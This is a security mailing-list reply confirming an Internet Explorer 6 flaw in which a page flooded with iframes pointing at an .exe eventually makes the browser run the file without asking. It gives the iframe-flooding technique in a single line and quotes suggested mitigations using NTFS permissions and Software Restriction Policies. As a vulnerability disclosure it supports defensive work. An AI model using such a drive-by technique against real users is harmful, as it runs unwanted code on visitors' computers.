Re: Flooding Internet Explorer 6.0.2800 (6.x?) security zones ! - UPDATED

[http-equiv@excite.com]

Marek,

Further to my confirmation of seeing this in the past as detailed
below, I am today delighted to inform you that I can reconfirm that
it functions precisely as you describe:

1. Definitely processor related as after 10 minutes of bogging down
the machine, BANG ! it automatically opened the .exe

2. Thereon after, all following .exe's are also automatically opened

Tested on the following page which is nothing more than a sh!tload of:

<iframe src="fooware.exe">'s

Harmless .exe

Note: may of course be different on other machines [i.e. processor
power...increase amount of frame 'suppose]

Well Done ! It's a beauty !


======
I had sent this to bugtraq when you initially posted it, confirming
having seen it in the past as well. Will try your html file and see
if can get it up and running again.

It does not work for me OK., it works But there is an easy way to
protect your system using NTFS file system or Software Restriction Policy
in Windows XP or Windows 2003. You must change NTFS permission not to
allow run executable code _or_ create path rule in Software Restriction
Policy that prohibits programs from run from temporary internet files. I
think that this solution may be usefull before Microsoft fix this error.
